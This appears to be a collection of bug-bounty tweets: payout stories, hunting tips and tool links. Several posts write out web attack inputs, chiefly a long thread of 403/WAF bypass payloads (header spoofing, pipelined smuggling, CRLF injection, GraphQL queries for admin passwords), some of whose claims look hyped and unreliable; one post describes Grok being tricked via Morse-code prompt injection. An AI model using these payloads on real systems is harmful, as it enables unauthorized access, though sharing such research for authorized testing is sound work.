Mohd Waseyuddin

Data Engineer, Penetration tester and Bugbounty Hunter

[Jafar Abo Nada @Jafar_Abo_Nada]

"$250,000+" - Quarter million dollars. One program.
Here's what nobody tells you.

Here's the full breakdown from my @Atlassian journey on @Bugcrowd:

~ 400 reports submitted:

~ 240 paid reports
~ 80 duplicates
~ 70 N/A

Every duplicate and N/A was a lesson, not a loss.

No automation. No recon tools. Just deep manual research, consistency, and an obsession with understanding how Atlassian products work at their core.

Atlassian runs one of the most professional and well-managed bug bounty programs out there. A huge shoutout to their security team for taking every report seriously. and a special thanks to Mike for building a company that genuinely invests in security.

What made the difference?
→ I stopped hunting broad, started going deep
→ I treated Atlassian attack surface like a full-time research project
→ I documented everything, even the rejections
→ I came back to closed reports and found bypasses

One program. One mindset. $250K+.

The specialization strategy wins every time.

#BugBounty #InfoSec

[Hamed Elnwasani @0xhamdoon]

Time-Based Blind SQL Injection in Dataapps UUID

Pro Tip: Don't just test UUIDs for IDOR, they're often unparameterized DB inputs. That makes them prime SQLi candidates.

#penetrationtesting #cybersecurity #bugbounty

[Maniesh.Neupane @pwn4arn]

Testing For Microsoft IIS Server
https://t.co/fEXQCvsAKc

[Hammam @1yz02]

Easy Bounties with Open Redirects

How I Found 4 Open Redirect Bugs Using
2 Simple Approaches

https://t.co/wW6rjOvUnt

#bugbountytips #bugbounty

[Critical Thinking - Bug Bounty Podcast @ctbbpodcast]

This is one of our craziest episodes, with an insane amount of tips you can start applying right now on every target you hack on, thanks @brutecat for sharing everything with the community!

Episode 178, part 1

[t e r m i r e u m @termireum]

From 403 Forbidden to a €1,500 Bounty
https://t.co/uwD4qPcxM4

[Preben @prebenve]

Found a cool bug at Meta.

From misconfigured Grafana instance to R/W access on 507 private Meta repositories.

Wrote up the full chain here:
https://t.co/LYQ0prc68d

$157k bounty awarded by @metabugbounty

[SickSec 🇲🇦 🇵🇸 @OriginalSicksec]

👀👀

/admin_users/sign_in ❌
/%61dmin_users/sign_in ✅

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

Power of prompt injection
and hangout with AI chatbots

prompt injection, and an AI bot that followed the wrong instruction.

Grok was reportedly phished for nearly $200,000.

The attacker first posted a message written entirely in Morse code, then asked @Grok to translate it.

[André Baptista @0xacb]

GraphQL lets you traverse relationships between objects, but authorization logic doesn't always follow you through those relationships. Found a cool one like this a while ago.

Let's assume a social media GraphQL API has this query:

query { me { id, email } }

That's locked down, but what about walking the graph?

query {
  publicPost(id: 123) {
    author {
      email
      draftPosts { title, body }
      linkedPaymentMethod { last4 }
    }
  }
}

The post is public. The author relation resolves because it needs to display a name. But does the server actually check whether you should see that author's email, drafts, or payment info? Or does it just check that you can access the root object and let the nested resolvers run unchecked?

A lot of implementations only validate at the root query level and assume nested fields are safe because you "had to go through" an authorized object to get there.

Things to try:

- Use introspection to map the full schema. Look for sensitive types that are reachable through public entry points.
- Follow bidirectional relationships. If User has Posts and Post has Author, can you loop back into a different user's data?
- Check if fragments on union/interface types expose fields that the normal path wouldn't show you.

The deeper you go into the graph, the more likely auth checks get sloppy.

[X @TheMsterDoctor1]

🧠💥 99% of hackers QUIT when they see a 403…

But the 1%? They try this: 👇

I found a 403 Forbidden on /admin.

But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin

👇👇👇

⸻

🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)

Target running HTTP/2 or gRPC? Force downgrade:

PRI * HTTP/2.0
SM

GET /admin HTTP/1.1

🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.

⸻

🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining

Send pipelined requests where only 1st is parsed by WAF:

POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13

GET /admin

💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.

This is invisible to most WAFs.

⸻

🚪 3. Misconfigured Reverse Proxy Chain Escape

Proxy chain: Cloudflare → NGINX → Apache

Try:

GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin

Apache follows X-Accel-Redirect, bypasses upstream auth check.

💣 Real-world: Gained internal panel behind Cloudflare.

⸻

🔄 4. CRLF into Rewrite Bypass

Some edge WAFs parse until CRLF \r\n, others don’t.

Exploit it:

GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin

WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes

⸻

🔃 5. Multipart Boundary Injection Bypass (💀)

Used when /admin is only allowed for file uploads:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337

------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain

BOOM
------1337--

💣 If upload endpoint allows arbitrary path write → full override.

⸻

📡 6. Misrouted Mesh Bypass via Service Discovery

Kubernetes, Linkerd, Istio-style microservices expose internal routes:

Send:

Host: admin.internal.svc.cluster.local
X-Service-Router: admin

If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.

⸻

⚠️ 7. GraphQL-Injected 403 Bypass

If app has GraphQL and 403-protected admin, try:

query {
admin {
users {
password
}
}
}

GraphQL often proxies internal microservice calls.

Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.

⸻

🧠 8. Preconnect Overload → Bypass

Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.

After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin

🧨 Real bypass via persistent connection channeling

⸻

💻 9. Browser-Only Token Auth Bypass (via Headless Browser)

Some SPAs load tokens via JS → protect /admin based on localStorage.

WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.

🔥 Use puppeteer + exportAuth → replay:

curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D

⸻

🧪 10. Distributed Retry Amplification

When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:

Retry-After: 0
X-Retry-URL: /admin

WAF retries → skips deny logic → backend hits /admin.

This is logic poisoning — not brute force.

⸻

🚨 These Aren’t Payloads. They’re Logic Chains.

Most tools stop at:

/admin%2e
X-Forwarded-For: 127.0.0.1

You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing

⸻

💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request

⸻

Want a toolkit that automates:

This is next-level exploitation.
Use it right. 🧠💣

🛠 TOOLS to automate bypass:

•🔧 https://t.co/5yIqLjkvaS

•🔧 https://t.co/bbVde9Caoh

•🔧 https://t.co/W05Ly8nEB6

•🔧 https://t.co/Av6mKRCef2

•🔧 https://t.co/kndjPIOEix

[Tur.js @Tur24Tur]

Just ported my AI agent from Claude Opus 4.6/4.7 to @deepseek_ai V4 Pro. Same multi-agent architecture, same pipeline, fraction of the cost. Let's see if the Chinese 🇨🇳 model can match Anthropic's best

#DeepSeek #ClaudeOpus #DeepSeekV4Pro

[Lu3ky13 ⚡️⚡️ @lu3ky13]

Mobile Application Penetration Testing: Full Guide

https://t.co/56ZvFVUBi5

#Mobile
#Application
#Penetration
#bugbounty

[Pratik Dabhi @impratikdabhi]

“Burp Suite Automation: 12 Custom Extensions That Save Hours for Pentesters and Bug Hunters” by Very Lazy Tech 👾

#bugbounty #infosec #hacking https://t.co/qauEQMlt6q

[TheOuts1derX @TheOuts1derX]

403 bypass tools for bug bounty hunters:

bypass-403 → https://t.co/MCDBZWSFE9
nomore403 → https://t.co/p7oJS8phSt
4-ZERO-3 → https://t.co/N3dxE3QdDr
byp4xx → https://t.co/wFriI9w6dg
dontgo403 → https://t.co/s1Jwo6S0tH

#bugbounty #bugbountytips #infosec #websecurity #hacking

[Aryan Bhetwal @yamarajislitaf]

Extract API endpoints from JS File using a single Bookmark. Check the Readme File for the Walkthrough.

https://t.co/WziHLTsViD

[Anastasis Vasileiadis @Anastasis_King]

🤩Bug Bounty Recon Methodology
🫡Link: https://t.co/v0E44xqIGN

[James Kettle @albinowax]

CVSS' Attack Complexity metric is the bane of bug bounty hunters: "you tried really hard to find that bug, so we'll pay you less".

[Griffin @aussinfosec]

I have been doing bug bounty since 2011 and ran a program for a multinational bank. Put everything I've learned into https://t.co/78z1JfSzmr. Target selection, recon pipelines, chain patterns, report templates, the business side. Free, no paywall, no course upsell.

[Th3g3nt3lman @Th3G3nt3lman]

If you do recon, read this. Wildcard can generate thousands of fake 'assets' — but the real value is in the few hostnames that break the pattern (different IP, different HTTP response) .. Quality &gt; quantity.